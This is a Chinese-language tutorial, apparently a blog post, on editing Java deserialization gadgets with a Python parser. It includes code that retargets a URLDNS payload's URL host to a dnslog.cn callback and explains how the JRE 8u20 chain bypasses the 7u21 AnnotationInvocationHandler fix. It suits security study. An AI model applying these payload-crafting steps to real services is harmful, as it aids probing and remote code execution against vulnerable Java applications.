修改Dnslog gadget的网址

修改dnslog的地址,其实也就是修改java.net.URL对象的host字段的值。所以我们先读取一个dnslog的反序列化文件,解析成功后保存为yaml文本格式的模板。

json 不支持复杂对象的存储,比如java中经常会出现对象的循环引用,json无法表达这种关系,而yaml可以表达,但是牺牲部分可读性。主要为了降低工作量

with open("../files/dnslog.ser", "rb") as f:
        a = ObjectRead(f)
        dnslog = a.readContent()

在这里我使用模块的javaObject类去表示一个java类。因为在反序列化数据中,只有对象,对象中的字段以及对象的类,**如果存在额外数据,则添加到javaObject对象中的objectAnnoation列表中。**下面我们来看截图,看一下dnslog是如何被解析的

Untitled

loadFactorthreshold是HasnMap对象的两个属性,在这里没什么好说的。下面来说一下我是如何保存java对象中字段的值。

在java中某个类可能继承自父类,父类也可能继承自爷爷类。java为了精准的保存某个对象,会将对象所有的字段都保存下来。在反序列化还原对象中,首先读取对象的类的描述。也就是如上图中javaClass所表示的一样。随后在还原对象的值中,会按照读取的类的描述中字段的顺序,先读取父类的值,再读取子类的值。所以我将字段保存为多维数组,按层保存。其中字段的顺序与javaCLass中描述的字段顺序必须一致。

下面再讲一下 objectAnnoation。在反序列化中,默认保存对象的所有值。但是对于HashMap这种对象来讲,对象中的值,也就是key和value是不固定的,没有办法保存。这时需要writeObject和readObject方法。writeObject方法是写入对象中额外的对象的特殊方法。经过writeObject方法写入的内容,会被写入到ObjectAnnotation中。readObject读取,也是读取ObjectAnnotation中的信息。在反序列化中,首先写入父类的字段值,如果父类存在writeObject,则再调用writeObject写入额外信息。然后再写入子类的字段值。writeObject函数在调用成功后,会向ObjectAnnotation中写入EndBlock标识终结。

对于hashmap对象来说,key和value分别存放到ObjectAnnotation中。我们需要想办法修改URL对象的host字段。URL对象的布局如下图所示

Untitled

修改起来很简单,代码如下

dnslogUrl = 'bza4l5.dnslog.cn'

with open('dnslog.yaml', "r") as f:
    dnslog = yaml.load(f, Loader=yaml.FullLoader)
UrlObject = dnslog.objectAnnotation[2]
# 修改java.net.URL的host属性为新的dnslog地址
dnslog.objectAnnotation[1].fields[0][4].value.string = dnslogUrl

with open('dnslog.ser', 'wb') as f:
    ObjectWrite(f).writeContent(dnslog)

生成 JRE 8u20 gadget

上面简单对象已经讲完了,下面我们来说一下复杂对象的读写。我们只需要大概了解jre 7u21 payload的触发流程即可。以及修复方式如何被绕过的

7u21的gadget中 LinkedHashMapreadObject触发sun.reflect.annotation.AnnotationInvocationHandler,最终触发RCE。修复方法如下图所示。readObject中会判断反序列化的类型,如果不是所期望的,则直接抛出异常。

Untitled

我们还需要回顾刚才讲的writeObject方法。假如一个对象在序列化过程中,调用writeObject方法。则java序列化中,是不会序列化任何字段值,一切交由对象的writeObject方法去处理。所以一般的writeObject方法中,只是保存额外信息,对象的字段值,统统交由defaultReadObject()去处理。

虽然sun.reflect.annotation.AnnotationInvocationHandler抛出了异常,但是对象以及所有的属性,其实已经还原完毕了。并且后面也可以调用。